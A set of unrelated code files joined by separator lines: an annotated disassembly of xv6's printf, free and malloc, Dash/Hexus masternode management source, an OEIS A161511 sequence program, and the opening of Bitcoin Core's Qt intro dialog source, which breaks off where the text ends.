4ef: 8b 55 d4 mov -0x2c(%ebp),%edx
4f2: 83 c4 10 add $0x10,%esp
4f5: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4f8: 0f b6 5e ff movzbl -0x1(%esi),%ebx
4fc: 84 db test %bl,%bl
4fe: 74 73 je 573 <printf+0xd3>
c = fmt[i] & 0xff;
if(state == 0){
500: 85 d2 test %edx,%edx
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
502: 0f be cb movsbl %bl,%ecx
505: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
508: 74 c6 je 4d0 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
50a: 83 fa 25 cmp $0x25,%edx
50d: 75 e6 jne 4f5 <printf+0x55>
if(c == 'd'){
50f: 83 f8 64 cmp $0x64,%eax
512: 0f 84 f8 00 00 00 je 610 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
518: 81 e1 f7 00 00 00 and $0xf7,%ecx
51e: 83 f9 70 cmp $0x70,%ecx
521: 74 5d je 580 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
523: 83 f8 73 cmp $0x73,%eax
526: 0f 84 84 00 00 00 je 5b0 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
52c: 83 f8 63 cmp $0x63,%eax
52f: 0f 84 ea 00 00 00 je 61f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
535: 83 f8 25 cmp $0x25,%eax
538: 0f 84 c2 00 00 00 je 600 <printf+0x160>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
53e: 8d 45 e7 lea -0x19(%ebp),%eax
541: 83 ec 04 sub $0x4,%esp
544: c6 45 e7 25 movb $0x25,-0x19(%ebp)
548: 6a 01 push $0x1
54a: 50 push %eax
54b: 57 push %edi
54c: e8 21 fe ff ff call 372 <write>
551: 83 c4 0c add $0xc,%esp
554: 8d 45 e6 lea -0x1a(%ebp),%eax
557: 88 5d e6 mov %bl,-0x1a(%ebp)
55a: 6a 01 push $0x1
55c: 50 push %eax
55d: 57 push %edi
55e: 83 c6 01 add $0x1,%esi
561: e8 0c fe ff ff call 372 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
566: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
56a: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
56d: 31 d2 xor %edx,%edx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
56f: 84 db test %bl,%bl
571: 75 8d jne 500 <printf+0x60>
putc(fd, c);
}
state = 0;
}
}
}
573: 8d 65 f4 lea -0xc(%ebp),%esp
576: 5b pop %ebx
577: 5e pop %esi
578: 5f pop %edi
579: 5d pop %ebp
57a: c3 ret
57b: 90 nop
57c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
580: 83 ec 0c sub $0xc,%esp
583: b9 10 00 00 00 mov $0x10,%ecx
588: 6a 00 push $0x0
58a: 8b 5d d0 mov -0x30(%ebp),%ebx
58d: 89 f8 mov %edi,%eax
58f: 8b 13 mov (%ebx),%edx
591: e8 6a fe ff ff call 400 <printint>
ap++;
596: 89 d8 mov %ebx,%eax
598: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
59b: 31 d2 xor %edx,%edx
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
59d: 83 c0 04 add $0x4,%eax
5a0: 89 45 d0 mov %eax,-0x30(%ebp)
5a3: e9 4d ff ff ff jmp 4f5 <printf+0x55>
5a8: 90 nop
5a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
5b0: 8b 45 d0 mov -0x30(%ebp),%eax
5b3: 8b 18 mov (%eax),%ebx
ap++;
5b5: 83 c0 04 add $0x4,%eax
5b8: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
5bb: 85 db test %ebx,%ebx
5bd: 74 7c je 63b <printf+0x19b>
s = "(null)";
while(*s != 0){
5bf: 0f b6 03 movzbl (%ebx),%eax
5c2: 84 c0 test %al,%al
5c4: 74 29 je 5ef <printf+0x14f>
5c6: 8d 76 00 lea 0x0(%esi),%esi
5c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
5d0: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
5d3: 8d 45 e3 lea -0x1d(%ebp),%eax
5d6: 83 ec 04 sub $0x4,%esp
5d9: 6a 01 push $0x1
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
5db: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
5de: 50 push %eax
5df: 57 push %edi
5e0: e8 8d fd ff ff call 372 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
5e5: 0f b6 03 movzbl (%ebx),%eax
5e8: 83 c4 10 add $0x10,%esp
5eb: 84 c0 test %al,%al
5ed: 75 e1 jne 5d0 <printf+0x130>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
5ef: 31 d2 xor %edx,%edx
5f1: e9 ff fe ff ff jmp 4f5 <printf+0x55>
5f6: 8d 76 00 lea 0x0(%esi),%esi
5f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
600: 83 ec 04 sub $0x4,%esp
603: 88 5d e5 mov %bl,-0x1b(%ebp)
606: 8d 45 e5 lea -0x1b(%ebp),%eax
609: 6a 01 push $0x1
60b: e9 4c ff ff ff jmp 55c <printf+0xbc>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
610: 83 ec 0c sub $0xc,%esp
613: b9 0a 00 00 00 mov $0xa,%ecx
618: 6a 01 push $0x1
61a: e9 6b ff ff ff jmp 58a <printf+0xea>
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
61f: 8b 5d d0 mov -0x30(%ebp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
622: 83 ec 04 sub $0x4,%esp
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
625: 8b 03 mov (%ebx),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
627: 6a 01 push $0x1
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
629: 88 45 e4 mov %al,-0x1c(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
62c: 8d 45 e4 lea -0x1c(%ebp),%eax
62f: 50 push %eax
630: 57 push %edi
631: e8 3c fd ff ff call 372 <write>
636: e9 5b ff ff ff jmp 596 <printf+0xf6>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
63b: b8 28 00 00 00 mov $0x28,%eax
ap++;
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
640: bb f8 07 00 00 mov $0x7f8,%ebx
645: eb 89 jmp 5d0 <printf+0x130>
647: 66 90 xchg %ax,%ax
649: 66 90 xchg %ax,%ax
64b: 66 90 xchg %ax,%ax
64d: 66 90 xchg %ax,%ax
64f: 90 nop
00000650 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
650: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
651: a1 e0 0a 00 00 mov 0xae0,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
656: 89 e5 mov %esp,%ebp
658: 57 push %edi
659: 56 push %esi
65a: 53 push %ebx
65b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
65e: 8b 10 mov (%eax),%edx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
660: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
663: 39 c8 cmp %ecx,%eax
665: 73 19 jae 680 <free+0x30>
667: 89 f6 mov %esi,%esi
669: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
670: 39 d1 cmp %edx,%ecx
672: 72 1c jb 690 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
674: 39 d0 cmp %edx,%eax
676: 73 18 jae 690 <free+0x40>
static Header base;
static Header *freep;
void
free(void *ap)
{
678: 89 d0 mov %edx,%eax
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
67a: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
67c: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
67e: 72 f0 jb 670 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
680: 39 d0 cmp %edx,%eax
682: 72 f4 jb 678 <free+0x28>
684: 39 d1 cmp %edx,%ecx
686: 73 f0 jae 678 <free+0x28>
688: 90 nop
689: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
690: 8b 73 fc mov -0x4(%ebx),%esi
693: 8d 3c f1 lea (%ecx,%esi,8),%edi
696: 39 fa cmp %edi,%edx
698: 74 19 je 6b3 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
69a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
69d: 8b 50 04 mov 0x4(%eax),%edx
6a0: 8d 34 d0 lea (%eax,%edx,8),%esi
6a3: 39 f1 cmp %esi,%ecx
6a5: 74 23 je 6ca <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
6a7: 89 08 mov %ecx,(%eax)
freep = p;
6a9: a3 e0 0a 00 00 mov %eax,0xae0
}
6ae: 5b pop %ebx
6af: 5e pop %esi
6b0: 5f pop %edi
6b1: 5d pop %ebp
6b2: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
6b3: 03 72 04 add 0x4(%edx),%esi
6b6: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
6b9: 8b 10 mov (%eax),%edx
6bb: 8b 12 mov (%edx),%edx
6bd: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
6c0: 8b 50 04 mov 0x4(%eax),%edx
6c3: 8d 34 d0 lea (%eax,%edx,8),%esi
6c6: 39 f1 cmp %esi,%ecx
6c8: 75 dd jne 6a7 <free+0x57>
p->s.size += bp->s.size;
6ca: 03 53 fc add -0x4(%ebx),%edx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
6cd: a3 e0 0a 00 00 mov %eax,0xae0
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
6d2: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
6d5: 8b 53 f8 mov -0x8(%ebx),%edx
6d8: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
6da: 5b pop %ebx
6db: 5e pop %esi
6dc: 5f pop %edi
6dd: 5d pop %ebp
6de: c3 ret
6df: 90 nop
000006e0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
6e0: 55 push %ebp
6e1: 89 e5 mov %esp,%ebp
6e3: 57 push %edi
6e4: 56 push %esi
6e5: 53 push %ebx
6e6: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
6e9: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
6ec: 8b 15 e0 0a 00 00 mov 0xae0,%edx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
6f2: 8d 78 07 lea 0x7(%eax),%edi
6f5: c1 ef 03 shr $0x3,%edi
6f8: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
6fb: 85 d2 test %edx,%edx
6fd: 0f 84 93 00 00 00 je 796 <malloc+0xb6>
703: 8b 02 mov (%edx),%eax
705: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
708: 39 cf cmp %ecx,%edi
70a: 76 64 jbe 770 <malloc+0x90>
70c: 81 ff 00 10 00 00 cmp $0x1000,%edi
712: bb 00 10 00 00 mov $0x1000,%ebx
717: 0f 43 df cmovae %edi,%ebx
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
71a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
721: eb 0e jmp 731 <malloc+0x51>
723: 90 nop
724: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
728: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
72a: 8b 48 04 mov 0x4(%eax),%ecx
72d: 39 cf cmp %ecx,%edi
72f: 76 3f jbe 770 <malloc+0x90>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
731: 39 05 e0 0a 00 00 cmp %eax,0xae0
737: 89 c2 mov %eax,%edx
739: 75 ed jne 728 <malloc+0x48>
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
73b: 83 ec 0c sub $0xc,%esp
73e: 56 push %esi
73f: e8 96 fc ff ff call 3da <sbrk>
if(p == (char*)-1)
744: 83 c4 10 add $0x10,%esp
747: 83 f8 ff cmp $0xffffffff,%eax
74a: 74 1c je 768 <malloc+0x88>
return 0;
hp = (Header*)p;
hp->s.size = nu;
74c: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
74f: 83 ec 0c sub $0xc,%esp
752: 83 c0 08 add $0x8,%eax
755: 50 push %eax
756: e8 f5 fe ff ff call 650 <free>
return freep;
75b: 8b 15 e0 0a 00 00 mov 0xae0,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
761: 83 c4 10 add $0x10,%esp
764: 85 d2 test %edx,%edx
766: 75 c0 jne 728 <malloc+0x48>
return 0;
768: 31 c0 xor %eax,%eax
76a: eb 1c jmp 788 <malloc+0xa8>
76c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
770: 39 cf cmp %ecx,%edi
772: 74 1c je 790 <malloc+0xb0>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
774: 29 f9 sub %edi,%ecx
776: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
779: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
77c: 89 78 04 mov %edi,0x4(%eax)
}
freep = prevp;
77f: 89 15 e0 0a 00 00 mov %edx,0xae0
return (void*)(p + 1);
785: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
788: 8d 65 f4 lea -0xc(%ebp),%esp
78b: 5b pop %ebx
78c: 5e pop %esi
78d: 5f pop %edi
78e: 5d pop %ebp
78f: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
790: 8b 08 mov (%eax),%ecx
792: 89 0a mov %ecx,(%edx)
794: eb e9 jmp 77f <malloc+0x9f>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
796: c7 05 e0 0a 00 00 e4 movl $0xae4,0xae0
79d: 0a 00 00
7a0: c7 05 e4 0a 00 00 e4 movl $0xae4,0xae4
7a7: 0a 00 00
base.s.size = 0;
7aa: b8 e4 0a 00 00 mov $0xae4,%eax
7af: c7 05 e8 0a 00 00 00 movl $0x0,0xae8
7b6: 00 00 00
7b9: e9 4e ff ff ff jmp 70c <malloc+0x2c>
|
// Copyright (c) 2014-2017 The Dash Core developers
// Copyright (c) 2019 The Hexus Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "activemasternode.h"
#include "masternode.h"
#include "masternode-sync.h"
#include "masternodeman.h"
#include "netbase.h"
#include "protocol.h"
// Keep track of the active Masternode
CActiveMasternode activeMasternode;
void CActiveMasternode::ManageState(CConnman& connman)
{
LogPrint("masternode", "CActiveMasternode::ManageState -- Start\n");
if(!fMasternodeMode) {
LogPrint("masternode", "CActiveMasternode::ManageState -- Not a masternode, returning\n");
return;
}
if(Params().NetworkIDString() != CBaseChainParams::REGTEST && !masternodeSync.IsBlockchainSynced()) {
nState = ACTIVE_MASTERNODE_SYNC_IN_PROCESS;
LogPrintf("CActiveMasternode::ManageState -- %s: %s\n", GetStateString(), GetStatus());
return;
}
if(nState == ACTIVE_MASTERNODE_SYNC_IN_PROCESS) {
nState = ACTIVE_MASTERNODE_INITIAL;
}
LogPrint("masternode", "CActiveMasternode::ManageState -- status = %s, type = %s, pinger enabled = %d\n", GetStatus(), GetTypeString(), fPingerEnabled);
if(eType == MASTERNODE_UNKNOWN) {
ManageStateInitial(connman);
}
if(eType == MASTERNODE_REMOTE) {
ManageStateRemote();
}
SendMasternodePing(connman);
}
std::string CActiveMasternode::GetStateString() const
{
switch (nState) {
case ACTIVE_MASTERNODE_INITIAL: return "INITIAL";
case ACTIVE_MASTERNODE_SYNC_IN_PROCESS: return "SYNC_IN_PROCESS";
case ACTIVE_MASTERNODE_INPUT_TOO_NEW: return "INPUT_TOO_NEW";
case ACTIVE_MASTERNODE_NOT_CAPABLE: return "NOT_CAPABLE";
case ACTIVE_MASTERNODE_STARTED: return "STARTED";
default: return "UNKNOWN";
}
}
std::string CActiveMasternode::GetStatus() const
{
switch (nState) {
case ACTIVE_MASTERNODE_INITIAL: return "Node just started, not yet activated";
case ACTIVE_MASTERNODE_SYNC_IN_PROCESS: return "Sync in progress. Must wait until sync is complete to start Masternode";
case ACTIVE_MASTERNODE_INPUT_TOO_NEW: return strprintf("Masternode input must have at least %d confirmations", Params().GetConsensus().nMasternodeMinimumConfirmations);
case ACTIVE_MASTERNODE_NOT_CAPABLE: return "Not capable masternode: " + strNotCapableReason;
case ACTIVE_MASTERNODE_STARTED: return "Masternode successfully started";
default: return "Unknown";
}
}
std::string CActiveMasternode::GetTypeString() const
{
std::string strType;
switch(eType) {
case MASTERNODE_REMOTE:
strType = "REMOTE";
break;
default:
strType = "UNKNOWN";
break;
}
return strType;
}
bool CActiveMasternode::SendMasternodePing(CConnman& connman)
{
if(!fPingerEnabled) {
LogPrint("masternode", "CActiveMasternode::SendMasternodePing -- %s: masternode ping service is disabled, skipping...\n", GetStateString());
return false;
}
if(!mnodeman.Has(outpoint)) {
strNotCapableReason = "Masternode not in masternode list";
nState = ACTIVE_MASTERNODE_NOT_CAPABLE;
LogPrintf("CActiveMasternode::SendMasternodePing -- %s: %s\n", GetStateString(), strNotCapableReason);
return false;
}
CMasternodePing mnp(outpoint);
mnp.nSentinelVersion = nSentinelVersion;
mnp.fSentinelIsCurrent =
(abs(GetAdjustedTime() - nSentinelPingTime) < MASTERNODE_SENTINEL_PING_MAX_SECONDS);
if(!mnp.Sign(keyMasternode, pubKeyMasternode)) {
LogPrintf("CActiveMasternode::SendMasternodePing -- ERROR: Couldn't sign Masternode Ping\n");
return false;
}
// Update lastPing for our masternode in Masternode list
if(mnodeman.IsMasternodePingedWithin(outpoint, MASTERNODE_MIN_MNP_SECONDS, mnp.sigTime)) {
LogPrintf("CActiveMasternode::SendMasternodePing -- Too early to send Masternode Ping\n");
return false;
}
mnodeman.SetMasternodeLastPing(outpoint, mnp);
LogPrintf("CActiveMasternode::SendMasternodePing -- Relaying ping, collateral=%s\n", outpoint.ToStringShort());
mnp.Relay(connman);
return true;
}
bool CActiveMasternode::UpdateSentinelPing(int version)
{
nSentinelVersion = version;
nSentinelPingTime = GetAdjustedTime();
return true;
}
void CActiveMasternode::ManageStateInitial(CConnman& connman)
{
LogPrint("masternode", "CActiveMasternode::ManageStateInitial -- status = %s, type = %s, pinger enabled = %d\n", GetStatus(), GetTypeString(), fPingerEnabled);
// Check that our local network configuration is correct
if (!fListen) {
// listen option is probably overwritten by smth else, no good
nState = ACTIVE_MASTERNODE_NOT_CAPABLE;
strNotCapableReason = "Masternode must accept connections from outside. Make sure listen configuration option is not overwritten by some another parameter.";
LogPrintf("CActiveMasternode::ManageStateInitial -- %s: %s\n", GetStateString(), strNotCapableReason);
return;
}
// First try to find whatever local address is specified by externalip option
bool fFoundLocal = GetLocal(service) && CMasternode::IsValidNetAddr(service);
if(!fFoundLocal) {
bool empty = true;
// If we have some peers, let's try to find our local address from one of them
connman.ForEachNodeContinueIf(CConnman::AllNodes, [&fFoundLocal, &empty, this](CNode* pnode) {
empty = false;
if (pnode->addr.IsIPv4())
fFoundLocal = GetLocal(service, &pnode->addr) && CMasternode::IsValidNetAddr(service);
return !fFoundLocal;
});
// nothing and no live connections, can't do anything for now
if (empty) {
nState = ACTIVE_MASTERNODE_NOT_CAPABLE;
strNotCapableReason = "Can't detect valid external address. Will retry when there are some connections available.";
LogPrintf("CActiveMasternode::ManageStateInitial -- %s: %s\n", GetStateString(), strNotCapableReason);
return;
}
}
if(!fFoundLocal) {
nState = ACTIVE_MASTERNODE_NOT_CAPABLE;
strNotCapableReason = "Can't detect valid external address. Please consider using the externalip configuration option if problem persists. Make sure to use IPv4 address only.";
LogPrintf("CActiveMasternode::ManageStateInitial -- %s: %s\n", GetStateString(), strNotCapableReason);
return;
}
int mainnetDefaultPort = Params(CBaseChainParams::MAIN).GetDefaultPort();
if(Params().NetworkIDString() == CBaseChainParams::MAIN) {
if(service.GetPort() != mainnetDefaultPort) {
nState = ACTIVE_MASTERNODE_NOT_CAPABLE;
strNotCapableReason = strprintf("Invalid port: %u - only %d is supported on mainnet.", service.GetPort(), mainnetDefaultPort);
LogPrintf("CActiveMasternode::ManageStateInitial -- %s: %s\n", GetStateString(), strNotCapableReason);
return;
}
} else if(service.GetPort() == mainnetDefaultPort) {
nState = ACTIVE_MASTERNODE_NOT_CAPABLE;
strNotCapableReason = strprintf("Invalid port: %u - %d is only supported on mainnet.", service.GetPort(), mainnetDefaultPort);
LogPrintf("CActiveMasternode::ManageStateInitial -- %s: %s\n", GetStateString(), strNotCapableReason);
return;
}
// Check socket connectivity
LogPrintf("CActiveMasternode::ManageStateInitial -- Checking inbound connection to '%s'\n", service.ToString());
SOCKET hSocket;
bool fConnected = ConnectSocket(service, hSocket, nConnectTimeout) && IsSelectableSocket(hSocket);
CloseSocket(hSocket);
if (!fConnected) {
nState = ACTIVE_MASTERNODE_NOT_CAPABLE;
strNotCapableReason = "Could not connect to " + service.ToString();
LogPrintf("CActiveMasternode::ManageStateInitial -- %s: %s\n", GetStateString(), strNotCapableReason);
return;
}
// Default to REMOTE
eType = MASTERNODE_REMOTE;
LogPrint("masternode", "CActiveMasternode::ManageStateInitial -- End status = %s, type = %s, pinger enabled = %d\n", GetStatus(), GetTypeString(), fPingerEnabled);
}
void CActiveMasternode::ManageStateRemote()
{
LogPrint("masternode", "CActiveMasternode::ManageStateRemote -- Start status = %s, type = %s, pinger enabled = %d, pubKeyMasternode.GetID() = %s\n",
GetStatus(), GetTypeString(), fPingerEnabled, pubKeyMasternode.GetID().ToString());
mnodeman.CheckMasternode(pubKeyMasternode, true);
masternode_info_t infoMn;
if(mnodeman.GetMasternodeInfo(pubKeyMasternode, infoMn)) {
if(infoMn.nProtocolVersion != PROTOCOL_VERSION) {
nState = ACTIVE_MASTERNODE_NOT_CAPABLE;
strNotCapableReason = "Invalid protocol version";
LogPrintf("CActiveMasternode::ManageStateRemote -- %s: %s\n", GetStateString(), strNotCapableReason);
return;
}
if(service != infoMn.addr) {
nState = ACTIVE_MASTERNODE_NOT_CAPABLE;
strNotCapableReason = "Broadcasted IP doesn't match our external address. Make sure you issued a new broadcast if IP of this masternode changed recently.";
LogPrintf("CActiveMasternode::ManageStateRemote -- %s: %s\n", GetStateString(), strNotCapableReason);
return;
}
if(!CMasternode::IsValidStateForAutoStart(infoMn.nActiveState)) {
nState = ACTIVE_MASTERNODE_NOT_CAPABLE;
strNotCapableReason = strprintf("Masternode in %s state", CMasternode::StateToString(infoMn.nActiveState));
LogPrintf("CActiveMasternode::ManageStateRemote -- %s: %s\n", GetStateString(), strNotCapableReason);
return;
}
if(nState != ACTIVE_MASTERNODE_STARTED) {
LogPrintf("CActiveMasternode::ManageStateRemote -- STARTED!\n");
outpoint = infoMn.outpoint;
service = infoMn.addr;
fPingerEnabled = true;
nState = ACTIVE_MASTERNODE_STARTED;
}
}
else {
nState = ACTIVE_MASTERNODE_NOT_CAPABLE;
strNotCapableReason = "Masternode not in masternode list";
LogPrintf("CActiveMasternode::ManageStateRemote -- %s: %s\n", GetStateString(), strNotCapableReason);
}
}
|
; A161511: Number of 1...0 pairs in the binary representation of 2n.
; 0,1,2,2,3,3,4,3,4,4,5,4,6,5,6,4,5,5,6,5,7,6,7,5,8,7,8,6,9,7,8,5,6,6,7,6,8,7,8,6,9,8,9,7,10,8,9,6,10,9,10,8,11,9,10,7,12,10,11,8,12,9,10,6,7,7,8,7,9,8,9,7,10,9,10,8,11,9,10,7,11,10,11,9,12,10,11,8,13,11,12,9,13,10,11,7,12,11,12,10,13,11,12,9,14,12,13,10,14,11,12,8,15,13,14,11,15,12,13,9,16,13,14,10,15,11,12,7,8,8,9,8,10,9,10,8,11,10,11,9,12,10,11,8,12,11,12,10,13,11,12,9,14,12,13,10,14,11,12,8,13,12,13,11,14,12,13,10,15,13,14,11,15,12,13,9,16,14,15,12,16,13,14,10,17,14,15,11,16,12,13,8,14,13,14,12,15,13,14,11,16,14,15,12,16,13,14,10,17,15,16,13,17,14,15,11,18,15,16,12,17,13,14,9,18,16,17,14,18,15,16,12,19,16,17,13,18,14,15,10,20,17,18,14,19,15,16,11,20,16
lpb $0
mov $2,$0
cal $2,88512 ; Number of partitions of n into two parts whose xor-sum is n.
sub $0,$2
sub $0,1
pow $2,0
add $1,$2
lpe
|
// Copyright (c) 2011-2016 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#if defined(HAVE_CONFIG_H)
#include "config/bitcoin-config.h"
#endif
#include "fs.h"
#include "intro.h"
#include "ui_intro.h"
#include "guiutil.h"
#include "util.h"
#include <QFileDialog>
#include <QSettings>
#include <QMessageBox>
#include <cmath>
static const uint64_t GB_BYTES = 1000000000LL;
/* Minimum free space (in GB) needed for data directory */
static const uint64_t BLOCK_CHAIN_SIZE = 14;
/* Minimum free space (in GB) needed for data directory when pruned; Does not include prune target */
static const uint64_t CHAIN_STATE_SIZE = 3;
/* Total required space (in GB) depending on user choice (prune, not prune) */
static uint64_t requiredSpace;
/* Check free space asynchronously to prevent hanging the UI thread.
Up to one request to check a path is in flight to this thread; when the check()
function runs, the current path is requested from the associated Intro object.
The reply is sent back through a signal.
This ensures that no queue of checking requests is built up while the user is
still entering the path, and that always the most recently entered path is checked as
soon as the thread becomes available.
*/
class FreespaceChecker : public QObject
{
Q_OBJECT
public:
FreespaceChecker(Intro *intro);
enum Status {
ST_OK,
ST_ERROR
};
public Q_SLOTS:
void check();
